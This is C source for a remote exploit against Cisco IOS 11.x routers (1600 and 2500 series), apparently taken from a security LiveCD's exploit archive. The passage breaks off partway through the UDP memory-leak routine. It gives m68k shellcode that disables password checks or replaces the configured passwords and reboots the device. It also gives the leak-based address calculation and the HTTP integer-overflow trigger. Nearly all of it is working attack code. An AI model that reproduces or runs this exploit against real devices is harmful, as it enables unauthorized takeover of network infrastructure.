home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / cisco / CiscoCasumEst.c < prev    next >
Encoding:
C/C++ Source or Header  |  2005-02-12  |  29.5 KB  |  1,186 lines
  1. /*
  2. *               ..--==[[ Phenoelit ]]==--..
  3. *              /                                     \
  4. *             |       CISCO CASUM EST      |
  5. *              \..                                 ../
  6. *                 ~~---==(MMIII)==---~~
  7. * 
  8. *
  9. * Cisco IOS 12.x/11.x remote exploit for HTTP integer overflow in URL using 
  10. * IOS 11.x UDP Echo memory leak for shellcode placing and address calculation.
  11. *
  12. * This code does support exploitation of any 11.x Cisco 1600 and 2500 series 
  13. * running "ip http server" and "service udp-small-servers". In other words, 
  14. * port 80 TCP and port 7 UDP have to be open. The exploitation will take a 
  15. * very long time since the overflow is triggered by sending 2 Gigabytes of 
  16. * data to the device. Depending on your connection to the target, this may 
  17. * take up to several DAYS.
  18. *
  19. * Shellcodes:
  20. * o In case a 1600 running 11.3(11b) IP only is detected, a runtime IOS 
  21. * patching shellcode is used. After that, the device will no longer 
  22. * validate VTY and enable access passwords. Mission accomplished.
  23. * o In case of any other 11.x IOS or in case it runs from flash where 
  24. * code patching is more complicated, the shellcode will replace all 
  25. * passwords in the config with "phenoelit" and reboot the box. Change
  26. * the passwords in the shellcodes if you like.
  27. *
  28. * ---
  29. * FX of Phenoelit <fx at phenoelit.de>
  30. * 
  31. */
  32.  
  33. #include <stdio.h>
  34. #include <string.h>
  35. #include <unistd.h>
  36.  
  37. #include <netinet/in.h>
  38. #include <rpc/types.h>
  39. #include <netdb.h>
  40. #include <sys/socket.h>
  41. #include <arpa/inet.h>
  42.  
  43. #include "protocols.h"
  44. #include "packets.h"
  45.  
  46. char m68nop[] = "\x4E\x71";
  47. char returncode[] = 
  48. "\x24\x7c\x02\x0b\xfe\x30" //moveal #34340400,%a2 (0x00000000)
  49. "\x34\xbc\x4e\x75" //movew #20085,%a2@ (0x00000006)
  50. "\x24\x7c\x02\x04\xae\xfa" //moveal #33861370,%a2 (0x0000000A)
  51. "\x24\xfc\x30\x3c\x00\x01" //movel #809238529,%a2@+ (0x00000010)
  52. "\x24\xfc\x4c\xee\x04\x0c" //movel #1290667020,%a2@+ (0x00000016)
  53. "\x24\xfc\xff\xf4\x4e\x5e" //movel #-766370,%a2@+ (0x0000001C)
  54. "\x24\xfc\x4e\x75\x00\x00" //movel #1316290560,%a2@+ (0x00000022)
  55. "\x24\x7c\x02\x07\x21\x6a" //moveal #34021738,%a2 (0x00000028)
  56. "\x34\xbc\x4e\x71" //movew #20081,%a2@ (0x0000002E)
  57. "\x24\x4f" //moveal %sp,%a2 (0x00000032)
  58. "\x0c\x1f\x00\x02" //cmpib #2,%sp@+ (0x00000034)
  59. "\x0c\x97\x02\x19\xfc\xc0" //cmpil #35257536,%sp@ (0x00000038)
  60. "\x66\x00\xff\xf4" //bnew 34 <findret> (0x0000003E)
  61. "\x24\x8f" //movel %sp,%a2@ (0x00000042)
  62. "\x59\x92" //subql #4,%a2@ (0x00000044)
  63. "\x2c\x52" //moveal %a2@,%fp (0x00000046)
  64. "\x42\x80" //clrl %d0 (0x00000048)
  65. "\x4c\xee\x04\x00\xff\xfc" //moveml %fp@(-4),%a2 (0x0000004A)
  66. "\x4e\x5e" //unlk %fp (0x00000050)
  67. "\x4e\x75" //rts (0x00000052)
  68. ;
  69.  
  70. char modcfg[] =
  71. "\x20\x7c\x0f\xf0\x10\xc2" //moveal #267391170,%a0 (0x00000000)
  72. "\xe2\xd0" //lsrw %a0@ (0x00000006)
  73. "\x46\xfc\x27\x00" //movew #9984,%sr (0x00000008)
  74. "\x20\x7c\x0f\xf0\x10\xc2" //moveal #267391170,%a0 (0x0000000C)
  75. "\x30\xbc\x00\x01" //movew #1,%a0@ (0x00000012)
  76. "\x20\x7c\x0e\x00\x00\x00" //moveal #234881024,%a0 (0x00000016)
  77. "\x54\x88" //addql #2,%a0 (0x0000001C)
  78. "\x0c\x50\xab\xcd" //cmpiw #-21555,%a0@ (0x0000001E)
  79. "\x66\xf8" //bnes 1c <find_magic> (0x00000022)
  80. "\x22\x48" //moveal %a0,%a1 (0x00000024)
  81. "\x58\x89" //addql #4,%a1 (0x00000026)
  82. "\x24\x49" //moveal %a1,%a2 (0x00000028)
  83. "\x50\x8a" //addql #8,%a2 (0x0000002A)
  84. "\x50\x8a" //addql #8,%a2 (0x0000002C)
  85. "\x0c\x12\x00\x00" //cmpib #0,%a2@ (0x0000002E)
  86. "\x67\x28" //beqs 5c <end_of_config> (0x00000032)
  87. "\x4b\xfa\x00\xc6" //lea %pc@(fc <S_password>),%a5 (0x00000034)
  88. "\x61\x5a" //bsrs 94 <strstr> (0x00000038)
  89. "\x4a\x80" //tstl %d0 (0x0000003A)
  90. "\x67\x08" //beqs 46 <next1> (0x0000003C)
  91. "\x28\x40" //moveal %d0,%a4 (0x0000003E)
  92. "\x4b\xfa\x00\xcf" //lea %pc@(111 <REPLACE_password>),%a5 (0x00000040)
  93. "\x61\x62" //bsrs a8 <nvcopy> (0x00000044)
  94. "\x4b\xfa\x00\xc0" //lea %pc@(108 <S_enable>),%a5 (0x00000046)
  95. "\x61\x48" //bsrs 94 <strstr> (0x0000004A)
  96. "\x4a\x80" //tstl %d0 (0x0000004C)
  97. "\x67\x08" //beqs 58 <next2> (0x0000004E)
  98. "\x28\x40" //moveal %d0,%a4 (0x00000050)
  99. "\x4b\xfa\x00\xc8" //lea %pc@(11c <REPLACE_enable>),%a5 (0x00000052)
  100. "\x61\x50" //bsrs a8 <nvcopy> (0x00000056)
  101. "\x52\x8a" //addql #1,%a2 (0x00000058)
  102. "\x60\xd2" //bras 2e <modmain> (0x0000005A)
  103. "\x32\xbc\x00\x00" //movew #0,%a1@ (0x0000005C)
  104. "\x7e\x01" //moveq #1,%d7 (0x00000060)
  105. "\x2c\x3c\x00\x00\xff\xff" //movel #65535,%d6 (0x00000062)
  106. "\x9d\x47" //subxw %d7,%d6 (0x00000068)
  107. "\x6b\xfc" //bmis 68 <chksm_delay> (0x0000006A)
  108. "\x2a\x48" //moveal %a0,%a5 (0x0000006C)
  109. "\x61\x50" //bsrs c0 <chksum> (0x0000006E)
  110. "\x32\x86" //movew %d6,%a1@ (0x00000070)
  111. "\x7e\x01" //moveq #1,%d7 (0x00000072)
  112. "\x28\x3c\x00\x00\xff\xff" //movel #65535,%d4 (0x00000074)
  113. "\x99\x47" //subxw %d7,%d4 (0x0000007A)
  114. "\x6b\xfc" //bmis 7a <final_delay> (0x0000007C)
  115. "\x46\xfc\x27\x00" //movew #9984,%sr (0x0000007E)
  116. "\x20\x7c\x0f\xf0\x00\x00" //moveal #267386880,%a0 (0x00000082)
  117. "\x2e\x50" //moveal %a0@,%sp (0x00000088)
  118. "\x20\x7c\x0f\xf0\x00\x04" //moveal #267386884,%a0 (0x0000008A)
  119. "\x20\x50" //moveal %a0@,%a0 (0x00000090)
  120. "\x4e\xd0" //jmp %a0@ (0x00000092)
  121. "\x28\x4a" //moveal %a2,%a4 (0x00000094)
  122. "\x0c\x15\x00\x00" //cmpib #0,%a5@ (0x00000096)
  123. "\x67\x08" //beqs a4 <strstr_endofstr> (0x0000009A)
  124. "\xb9\x0d" //cmpmb %a5@+,%a4@+ (0x0000009C)
  125. "\x67\xf6" //beqs 96 <strstr_2> (0x0000009E)
  126. "\x42\x80" //clrl %d0 (0x000000A0)
  127. "\x4e\x75" //rts (0x000000A2)
  128. "\x20\x0c" //movel %a4,%d0 (0x000000A4)
  129. "\x4e\x75" //rts (0x000000A6)
  130. "\x7e\x01" //moveq #1,%d7 (0x000000A8)
  131. "\x0c\x15\x00\x00" //cmpib #0,%a5@ (0x000000AA)
  132. "\x67\x0e" //beqs be <nvcopy_end> (0x000000AE)
  133. "\x18\xdd" //moveb %a5@+,%a4@+ (0x000000B0)
  134. "\x2c\x3c\x00\x00\xff\xff" //movel #65535,%d6 (0x000000B2)
  135. "\x9d\x47" //subxw %d7,%d6 (0x000000B8)
  136. "\x6b\xfc" //bmis b8 <nvcopy_delay> (0x000000BA)
  137. "\x60\xec" //bras aa <nvcopyl1> (0x000000BC)
  138. "\x4e\x75" //rts (0x000000BE)
  139. "\x42\x87" //clrl %d7 (0x000000C0)
  140. "\x42\x80" //clrl %d0 (0x000000C2)
  141. "\x0c\x55\x00\x00" //cmpiw #0,%a5@ (0x000000C4)
  142. "\x66\x0a" //bnes d4 <chk_hack> (0x000000C8)
  143. "\x52\x80" //addql #1,%d0 (0x000000CA)
  144. "\x0c\x80\x00\x00\x00\x0a" //cmpil #10,%d0 (0x000000CC)
  145. "\x67\x08" //beqs dc <chk2> (0x000000D2)
  146. "\x42\x86" //clrl %d6 (0x000000D4)
  147. "\x3c\x1d" //movew %a5@+,%d6 (0x000000D6)
  148. "\xde\x86" //addl %d6,%d7 (0x000000D8)
  149. "\x60\xe8" //bras c4 <chk1> (0x000000DA)
  150. "\x2c\x07" //movel %d7,%d6 (0x000000DC)
  151. "\x2a\x07" //movel %d7,%d5 (0x000000DE)
  152. "\x02\x86\x00\x00\xff\xff" //andil #65535,%d6 (0x000000E0)
  153. "\xe0\x8d" //lsrl #8,%d5 (0x000000E6)
  154. "\xe0\x8d" //lsrl #8,%d5 (0x000000E8)
  155. "\xdc\x45" //addw %d5,%d6 (0x000000EA)
  156. "\x28\x06" //movel %d6,%d4 (0x000000EC)
  157. "\x02\x84\xff\xff\x00\x00" //andil #-65536,%d4 (0x000000EE)
  158. "\x66\x00\xff\xea" //bnew e0 <chk3> (0x000000F4)
  159. "\x46\x46" //notw %d6 (0x000000F8)
  160. "\x4e\x75" //rts (0x000000FA)
  161.  
  162. "\x0a"" password ""\x00"
  163. "\x0a""enable ""\x00"
  164. "phenoelit\x0a""\x00"
  165. "password phenoelit\x0a""\x00"
  166. ;
  167.  
  168.  
  169. char modcfg2k5[] = 
  170. "\x46\xfc\x27\x00" //movew #9984,%sr (0x00000000)
  171. "\x20\x7c\x02\x00\x00\x00" //moveal #33554432,%a0 (0x00000004)
  172. "\x54\x88" //addql #2,%a0 (0x0000000A)
  173. "\x0c\x50\xab\xcd" //cmpiw #-21555,%a0@ (0x0000000C)
  174. "\x66\xf8" //bnes a <find_magic> (0x00000010)
  175. "\x22\x48" //moveal %a0,%a1 (0x00000012)
  176. "\x58\x89" //addql #4,%a1 (0x00000014)
  177. "\x24\x49" //moveal %a1,%a2 (0x00000016)
  178. "\x50\x8a" //addql #8,%a2 (0x00000018)
  179. "\x50\x8a" //addql #8,%a2 (0x0000001A)
  180. "\x0c\x12\x00\x00" //cmpib #0,%a2@ (0x0000001C)
  181. "\x67\x28" //beqs 4a <end_of_config> (0x00000020)
  182. "\x4b\xfa\x00\xd6" //lea %pc@(fa <S_password>),%a5 (0x00000022)
  183. "\x61\x6a" //bsrs 92 <strstr> (0x00000026)
  184. "\x4a\x80" //tstl %d0 (0x00000028)
  185. "\x67\x08" //beqs 34 <next1> (0x0000002A)
  186. "\x28\x40" //moveal %d0,%a4 (0x0000002C)
  187. "\x4b\xfa\x00\xdf" //lea %pc@(10f <REPLACE_password>),%a5 (0x0000002E)
  188. "\x61\x72" //bsrs a6 <nvcopy> (0x00000032)
  189. "\x4b\xfa\x00\xd0" //lea %pc@(106 <S_enable>),%a5 (0x00000034)
  190. "\x61\x58" //bsrs 92 <strstr> (0x00000038)
  191. "\x4a\x80" //tstl %d0 (0x0000003A)
  192. "\x67\x08" //beqs 46 <next2> (0x0000003C)
  193. "\x28\x40" //moveal %d0,%a4 (0x0000003E)
  194. "\x4b\xfa\x00\xd8" //lea %pc@(11a <REPLACE_enable>),%a5 (0x00000040)
  195. "\x61\x60" //bsrs a6 <nvcopy> (0x00000044)
  196. "\x52\x8a" //addql #1,%a2 (0x00000046)
  197. "\x60\xd2" //bras 1c <modmain> (0x00000048)
  198. "\x42\x80" //clrl %d0 (0x0000004A)
  199. "\x2a\x49" //moveal %a1,%a5 (0x0000004C)
  200. "\x52\x00" //addqb #1,%d0 (0x0000004E)
  201. "\x1a\xfc\x00\x00" //moveb #0,%a5@+ (0x00000050)
  202. "\x7e\x01" //moveq #1,%d7 (0x00000054)
  203. "\x2c\x3c\x00\x00\xff\xff" //movel #65535,%d6 (0x00000056)
  204. "\x9d\x47" //subxw %d7,%d6 (0x0000005C)
  205. "\x6b\xfc" //bmis 5c <chksm_delay> (0x0000005E)
  206. "\x0c\x00\x00\x02" //cmpib #2,%d0 (0x00000060)
  207. "\x66\xe8" //bnes 4e <chksm_del> (0x00000064)
  208. "\x2a\x48" //moveal %a0,%a5 (0x00000066)
  209. "\x61\x54" //bsrs be <chksum> (0x00000068)
  210. "\x2a\x49" //moveal %a1,%a5 (0x0000006A)
  211. "\x52\x8d" //addql #1,%a5 (0x0000006C)
  212. "\x42\x80" //clrl %d0 (0x0000006E)
  213. "\x52\x00" //addqb #1,%d0 (0x00000070)
  214. "\x1a\x86" //moveb %d6,%a5@ (0x00000072)
  215. "\x7e\x01" //moveq #1,%d7 (0x00000074)
  216. "\x28\x3c\x00\x00\xff\xff" //movel #65535,%d4 (0x00000076)
  217. "\x99\x47" //subxw %d7,%d4 (0x0000007C)
  218. "\x6b\xfc" //bmis 7c <final_delay> (0x0000007E)
  219. "\xe0\x4e" //lsrw #8,%d6 (0x00000080)
  220. "\x2a\x49" //moveal %a1,%a5 (0x00000082)
  221. "\x0c\x00\x00\x02" //cmpib #2,%d0 (0x00000084)
  222. "\x66\xe6" //bnes 70 <final_wr> (0x00000088)
  223. "\x20\x7c\x03\x00\x00\x60" //moveal #50331744,%a0 (0x0000008A)
  224. "\x4e\xd0" //jmp %a0@ (0x00000090)
  225. "\x28\x4a" //moveal %a2,%a4 (0x00000092)
  226. "\x0c\x15\x00\x00" //cmpib #0,%a5@ (0x00000094)
  227. "\x67\x08" //beqs a2 <strstr_endofstr> (0x00000098)
  228. "\xb9\x0d" //cmpmb %a5@+,%a4@+ (0x0000009A)
  229. "\x67\xf6" //beqs 94 <strstr_2> (0x0000009C)
  230. "\x42\x80" //clrl %d0 (0x0000009E)
  231. "\x4e\x75" //rts (0x000000A0)
  232. "\x20\x0c" //movel %a4,%d0 (0x000000A2)
  233. "\x4e\x75" //rts (0x000000A4)
  234. "\x7e\x01" //moveq #1,%d7 (0x000000A6)
  235. "\x0c\x15\x00\x00" //cmpib #0,%a5@ (0x000000A8)
  236. "\x67\x0e" //beqs bc <nvcopy_end> (0x000000AC)
  237. "\x18\xdd" //moveb %a5@+,%a4@+ (0x000000AE)
  238. "\x2c\x3c\x00\x00\xff\xff" //movel #65535,%d6 (0x000000B0)
  239. "\x9d\x47" //subxw %d7,%d6 (0x000000B6)
  240. "\x6b\xfc" //bmis b6 <nvcopy_delay> (0x000000B8)
  241. "\x60\xec" //bras a8 <nvcopyl1> (0x000000BA)
  242. "\x4e\x75" //rts (0x000000BC)
  243. "\x42\x87" //clrl %d7 (0x000000BE)
  244. "\x42\x80" //clrl %d0 (0x000000C0)
  245. "\x0c\x55\x00\x00" //cmpiw #0,%a5@ (0x000000C2)
  246. "\x66\x0a" //bnes d2 <chk_hack> (0x000000C6)
  247. "\x52\x80" //addql #1,%d0 (0x000000C8)
  248. "\x0c\x80\x00\x00\x00\x14" //cmpil #20,%d0 (0x000000CA)
  249. "\x67\x08" //beqs da <chk2> (0x000000D0)
  250. "\x42\x86" //clrl %d6 (0x000000D2)
  251. "\x3c\x1d" //movew %a5@+,%d6 (0x000000D4)
  252. "\xde\x86" //addl %d6,%d7 (0x000000D6)
  253. "\x60\xe8" //bras c2 <chk1> (0x000000D8)
  254. "\x2c\x07" //movel %d7,%d6 (0x000000DA)
  255. "\x2a\x07" //movel %d7,%d5 (0x000000DC)
  256. "\x02\x86\x00\x00\xff\xff" //andil #65535,%d6 (0x000000DE)
  257. "\xe0\x8d" //lsrl #8,%d5 (0x000000E4)
  258. "\xe0\x8d" //lsrl #8,%d5 (0x000000E6)
  259. "\xdc\x45" //addw %d5,%d6 (0x000000E8)
  260. "\x28\x06" //movel %d6,%d4 (0x000000EA)
  261. "\x02\x84\xff\xff\x00\x00" //andil #-65536,%d4 (0x000000EC)
  262. "\x66\x00\xff\xea" //bnew de <chk3> (0x000000F2)
  263. "\x46\x46" //notw %d6 (0x000000F6)
  264. "\x4e\x75" //rts (0x000000F8)
  265.  
  266. "\x0a"" password ""\x00"
  267. "\x0a""enable ""\x00"
  268. "phenoelit\x0a""\x00"
  269. "password phenoelit\x0a""\x00"
  270. ;
  271.  
  272. //
  273. // address selection strategies 
  274. //
  275. #define S_RANDOM 1
  276. #define S_LAST 2
  277. #define S_SMALLEST 3
  278. #define S_HIGHEST 4
  279. #define S_FREQUENT 5
  280. typedef struct {
  281. unsigned int a;
  282. unsigned int count;
  283. } addrs_t;
  284. #define LOW_ADDR_THR 5
  285. #define LOW_COUNT_THR 3
  286.  
  287.  
  288. //
  289. // IO memory block header based fingerprinting
  290. //
  291. static struct {
  292. unsigned int PC_start;
  293. unsigned int PC_end;
  294. unsigned int IO_start;
  295. unsigned int IO_end;
  296. char *name;
  297. unsigned char *code;
  298. unsigned int codelen;
  299. unsigned char *nop;
  300. unsigned int noplen;
  301. unsigned int fakefp;
  302. } cisco_boxes[] = {
  303. {0x08000000, 0x08ffffff, 0x02C00000, 0x02FFFFFF,
  304. "Cisco 1600 series, run from Flash", 
  305. modcfg, sizeof(modcfg)-1, 
  306. m68nop, sizeof(m68nop)-1 ,
  307. 0x02f0f1f2
  308. },
  309.  
  310. {0x0208F600, 0x0208F93C, 0x02C00000, 0x02FFFFFF,
  311. "Cisco 1603, 11.3(11b) IP only, run from RAM", 
  312. returncode, sizeof(returncode)-1,
  313. m68nop, sizeof(m68nop)-1 ,
  314. 0x02f0f1f2
  315. },
  316.  
  317. {0x03000000, 0x037FFFFF, 0x00E00000, 0x00FFFFFF,
  318. "Cisco 2500 series, run from Flash",
  319. modcfg2k5, sizeof(modcfg2k5)-1,
  320. m68nop, sizeof(m68nop)-1,
  321. 0x00079000
  322. },
  323.  
  324. {0,0,0,0,NULL,NULL,0,NULL,0,0}
  325. };
  326.  
  327.  
  328. // ***************** Status and other tracking *******************
  329.  
  330. //
  331. // HTTP communication 
  332. //
  333. struct {
  334. int sfd;
  335. unsigned int done;
  336. } http;
  337.  
  338. // 
  339. // UDP leak 
  340. //
  341. #define MAXADDRS 100
  342. #define DEFAULTRUNS 206
  343. #define LOCALPORT 31336 // almost 31337 ;)
  344. #define PACKETMAX 1400
  345. struct {
  346. int sfd;
  347. int udpsfd;
  348. int guess;
  349. addrs_t addrs[MAXADDRS];
  350. unsigned int addrc;
  351. unsigned int lastaddr;
  352. int nop_offset;
  353. int nop_sled;
  354. } leak;
  355.  
  356. //
  357. // config
  358. //
  359. struct {
  360. char *device;
  361. char *target;
  362. struct in_addr target_addr;
  363. int verbose;
  364. int testmode;
  365. int strategy;
  366. unsigned int leakme;
  367. unsigned int timeout;
  368. unsigned int leakruns;
  369. } cfg;
  370.  
  371.  
  372. //
  373. // function prototypes
  374. //
  375. void usage(char *s);
  376. void *smalloc(size_t s);
  377. int HTTPpre(void);
  378. void HTTPsend(char *what);
  379. int IOSlack(unsigned int runs, int shellcode);
  380. unsigned char *UDPecho( unsigned int *plen, 
  381. unsigned char *payload, unsigned int payload_len);
  382. void UDPanalyze(unsigned char *b, unsigned int len,
  383. unsigned char *expected, unsigned int expected_length);
  384. unsigned int SelectAddress(void);
  385. int CheckForbidden(unsigned int address);
  386.  
  387.  
  388. // *************************** main code *************************
  389.  
  390.  
  391. int main(int argc, char **argv) {
  392. // 
  393. // HTTP elements
  394. //
  395. char token6[] ="/Cisco";
  396. char token50[]="/AnotherLemmingAndAntoherLemmingAndAnotherLemmingX";
  397. char token48[]="/HereComesTheFinalLemmingAndClosesTheGapForever/";
  398. char httpend[]=" HTTP/1.0\r\n\r\n";
  399. char overflow[30];
  400. // 
  401. // stuff we need
  402. //
  403. unsigned int i;
  404. int saved_guess;
  405. unsigned int retaddr;
  406. // 
  407. // command line
  408. //
  409. char option;
  410. extern char *optarg;
  411. //
  412. // output stuff
  413. //
  414. double percent;
  415. double lpercent=(double)0;
  416.  
  417.  
  418. memset(&cfg,0,sizeof(cfg));
  419. memset(&leak,0,sizeof(leak));
  420. memset(&http,0,sizeof(http));
  421. // 
  422. // set defaults
  423. //
  424. cfg.leakme=0x4C00;
  425. cfg.timeout=3;
  426. cfg.leakruns=DEFAULTRUNS;
  427. cfg.strategy=S_SMALLEST;
  428.  
  429. while ((option=getopt(argc,argv,"vTA:t:L:R:d:i:"))!=EOF) {
  430. switch(option) {
  431. case 'v': cfg.verbose++;
  432. break;
  433. case 'T': cfg.testmode++;
  434. break;
  435. case 'A': cfg.strategy=(int)strtoul(optarg,(char **)NULL,10);
  436. break;
  437. case 't': cfg.timeout=(int)strtoul(optarg,(char **)NULL,10);
  438. break;
  439. case 'L': cfg.leakme=(int)strtoul(optarg,(char **)NULL,10);
  440. break;
  441. case 'R': cfg.leakruns=(int)strtoul(optarg,(char **)NULL,10);
  442. break;
  443. case 'd': {
  444. struct hostent *he;
  445. if ((he=gethostbyname(optarg))==NULL) { 
  446. fprintf(stderr,"Could not resolve %s\n",cfg.target);
  447. return (-1);
  448. }
  449. bcopy(he->h_addr,
  450. (char *)&(cfg.target_addr.s_addr),
  451. he->h_length);
  452. cfg.target=smalloc(strlen(optarg)+1);
  453. strcpy(cfg.target,optarg);
  454. }
  455. break;
  456. case 'i': cfg.device=smalloc(strlen(optarg)+1);
  457. strcpy(cfg.device,optarg);
  458. break;
  459. default: usage(argv[0]);
  460. // does not return
  461. }
  462. }
  463.  
  464. // 
  465. // idiot check
  466. //
  467. if ( !(cfg.device && *((u_int32_t *)&(cfg.target_addr)) )) 
  468. usage(argv[0]);
  469.  
  470. //
  471. // verify the UDP leak and make sure it's a known box
  472. //
  473. if (IOSlack(1,-1)!=0) {
  474. fprintf(stderr,"You need an IOS 11.x target with UDP echo service enabled\n"
  475. "for this thing to work. Obviously, you don't have that.\n");
  476. return (1);
  477. }
  478. if (leak.guess==(-1)) {
  479. fprintf(stderr,"Apparently, you got a good target, but it's not one of the\n"
  480. "platforms we got code for. Life sucks.\n");
  481. return (1);
  482. } else {
  483. printf("Target identified as '%s'.\n",cisco_boxes[leak.guess].name);
  484. if (cfg.verbose) {
  485. printf("Using the following code:\n");
  486. hexdump(cisco_boxes[leak.guess].code,
  487. cisco_boxes[leak.guess].codelen);
  488. }
  489. saved_guess=leak.guess;
  490. }
  491. if (leak.lastaddr == 0) {
  492. printf("The memory leak data did not contain enough information to\n"
  493. "calculate the addresses correctly. The router may be busy,\n"
  494. "in which case this method is likely to fail!\n");
  495. return (2);
  496. } else {
  497. printf("Calculated address in test: 0x%08X\n",leak.lastaddr);
  498. }
  499.  
  500. //
  501. // Connect to HTTP server and send the first "GET "
  502. //
  503. if (HTTPpre()!=0) return 1;
  504.  
  505. //
  506. // fill normal buffer
  507. //
  508. printf("Sending token50 x 0x5 + token6 ...\n");
  509. HTTPsend(token50);
  510. HTTPsend(token50);
  511. HTTPsend(token50);
  512. HTTPsend(token50);
  513. HTTPsend(token50);
  514. HTTPsend(token6);
  515.  
  516. //
  517. // send enough data to overflow the counter
  518. //
  519. i=1;
  520. printf("Sending token50 x 0x28F5C28 (2 Gigabytes of data)...\n");
  521. while (i<=0x28F5C28) {
  522.  
  523. if (!cfg.testmode) HTTPsend(token50);
  524. http.done+=50;
  525. i++;
  526.  
  527. //
  528. // output
  529. //
  530. percent = (double)http.done / (double)0x80000000;
  531. if ( percent > lpercent+0.0001 ) {
  532. printf("%5.2f%% done\n",percent * 100);
  533. lpercent=percent;
  534. }
  535. }
  536. printf("Sending final token48 ...\n");
  537. HTTPsend(token48);
  538.  
  539. //
  540. // Use infoleak to transfer code and calculate address
  541. //
  542. memset(&leak,0,sizeof(leak));
  543. if (IOSlack(cfg.leakruns,saved_guess)!=0) {
  544. fprintf(stderr,"Your target does no longer leak memory. This could have\n"
  545. "several reasons, but it sure prevents you from exploiting it.\n");
  546. return (-1);
  547. } else {
  548. printf("Aquired %u addresses with our code\n",leak.addrc);
  549. if (leak.addrc<LOW_ADDR_THR) {
  550. printf( "WARNING: This is a low number of addresses.\n"
  551. " The target is probably busy!!\n");
  552. }
  553. }
  554. if (saved_guess!=leak.guess) 
  555. printf("Errrmmm... your target type changed. Just so you know, \n"
  556. "it's not supposed to do that\n");
  557.  
  558. // 
  559. // prepare the overflow buffer
  560. //
  561. printf("Selecting address, using nop sled of %u and offset in the sled of %u\n",
  562. leak.nop_sled, leak.nop_offset);
  563. if ( (retaddr=SelectAddress()) == 0) return (-1);
  564.  
  565. memset(&overflow,0,sizeof(overflow));
  566. sprintf(overflow,
  567. "BB%%%02X%%%02X%%%02X%%%02X%%%02X%%%02X%%%02X%%%02X"
  568. ,
  569. (unsigned char)( (cisco_boxes[saved_guess].fakefp>>24)&0xFF),
  570. (unsigned char)( (cisco_boxes[saved_guess].fakefp>>16)&0xFF),
  571. (unsigned char)( (cisco_boxes[saved_guess].fakefp>> 8)&0xFF),
  572. (unsigned char)( (cisco_boxes[saved_guess].fakefp )&0xFF),
  573. (unsigned char)( (retaddr>>24)&0xFF),
  574. (unsigned char)( (retaddr>>16)&0xFF),
  575. (unsigned char)( (retaddr>> 8)&0xFF),
  576. (unsigned char)( (retaddr )&0xFF));
  577.  
  578. if (cfg.verbose) hexdump(overflow,sizeof(overflow)-1);
  579.  
  580. // 
  581. // perform overflow and overwrite return address
  582. //
  583. printf("Sending overflow of %u bytes\n",strlen(overflow));
  584. HTTPsend(overflow);
  585. printf("Sending final HTTP/1.0\n");
  586. HTTPsend(httpend);
  587. close(http.sfd);
  588.  
  589. // 
  590. // all done
  591. //
  592. return 0;
  593. }
  594.  
  595.  
  596. void usage(char *s) {
  597. fprintf(stderr,"Usage: %s -i <interface> -d <target> [-options]\n",s);
  598. fprintf(stderr,"Options are:\n"
  599. "-v Verbose mode.\n"
  600. "-T Test mode, don't really exploit\n"
  601. "-An Address selection strategy. Values are:\n"
  602. " 1 (random), 2 (last), 3 (smallest), 4 (highest), 5 (most frequent)\n"
  603. "-tn Set timeout for info leak to n seconds\n"
  604. "-Ln Set requested memory leak to n bytes\n"
  605. "-Rn Set number of final leak runs to n\n"
  606. );
  607. exit (1);
  608. }
  609.  
  610.  
  611. // 
  612. // *********************** HTTP related **************************
  613. //
  614.  
  615.  
  616. int HTTPpre(void) {
  617. char get[] = "GET ";
  618. struct sockaddr_in sin;
  619. struct hostent *he;
  620.  
  621. memset(&sin,0,sizeof(struct sockaddr_in));
  622. if ((he=gethostbyname(cfg.target))==NULL) { 
  623. fprintf(stderr,"Could not resolve %s\n",cfg.target);
  624. return (-1);
  625. }
  626.  
  627. sin.sin_family=AF_INET;
  628. sin.sin_port=htons(80);
  629. bcopy(he->h_addr,(char *)&sin.sin_addr,he->h_length);
  630. bzero(&(sin.sin_zero),8);
  631.  
  632. if ((http.sfd=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
  633. fprintf(stderr,"socket(TCP) error\n");
  634. return(-1);
  635. }
  636.  
  637. printf("Connecting to HTTP server on %s ...\n",cfg.target);
  638.  
  639. if (connect(http.sfd,(struct sockaddr *)&sin,sizeof(sin))<0) {
  640. fprintf(stderr,"Failed to connect to HTTP\n");
  641. return (-1);
  642. }
  643.  
  644. printf("Connected!\n");
  645.  
  646. //
  647. // send "GET "
  648. //
  649. HTTPsend(get);
  650. return 0;
  651. }
  652.  
  653.  
  654. void HTTPsend(char *what) {
  655. if (send(http.sfd,what,strlen(what),0)<0) {
  656. fprintf(stderr,"send() failed!\n");
  657. exit(-1);
  658. }
  659. }
  660.  
  661.  
  662. // 
  663. // *********************** UDP related **************************
  664. //
  665.  
  666. int IOSlack(unsigned int runs, int shellcode) {
  667. // 
  668. // the leak packet
  669. //
  670. #define DUMMY_SIZE 512
  671. unsigned char *packet;
  672. unsigned int length;
  673. char dummy[DUMMY_SIZE];
  674. unsigned char *sc,*st;
  675. unsigned int sclen;
  676. // 
  677. // recv stuff
  678. //
  679. char *rbuf;
  680. unsigned int rx;
  681. // 
  682. // doing the stuff
  683. //
  684. unsigned int r;
  685. struct sockaddr_in frm;
  686. int frmlen=sizeof(struct sockaddr_in);
  687. fd_set rfds;
  688. struct timeval tv;
  689. int select_ret;
  690. int recvflag;
  691. struct sockaddr_in myself;
  692.  
  693.  
  694. //
  695. // init
  696. //
  697. leak.guess=(-1);
  698. r=runs;
  699. recvflag=0;
  700. st=NULL;
  701.  
  702. // 
  703. // get the sockets
  704. //
  705. if ( (leak.sfd=init_socket_IP4(cfg.device,1)) == (-1) ) {
  706. fprintf(stderr,"Couldn't grab a raw socket\n");
  707. return (-1);
  708. }
  709.  
  710. myself.sin_family=AF_INET;
  711. myself.sin_port=htons(LOCALPORT);
  712. myself.sin_addr.s_addr=INADDR_ANY;
  713. if ( (leak.udpsfd=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP)) <0) {
  714. fprintf(stderr,"Couldn't grab a UDP socket\n");
  715. return (-1);
  716. }
  717. if ( bind(leak.udpsfd,(struct sockaddr *)&myself,sizeof(struct sockaddr)) != 0) {
  718. fprintf(stderr,"bind() failed\n");
  719. return (-1);
  720. }
  721.  
  722. // 
  723. // determine packet contents and make a packet
  724. //
  725. if (shellcode==(-1)) {
  726. memset(&dummy,0x50,DUMMY_SIZE-1);
  727. dummy[DUMMY_SIZE-1]=0x00;
  728. sc=dummy;
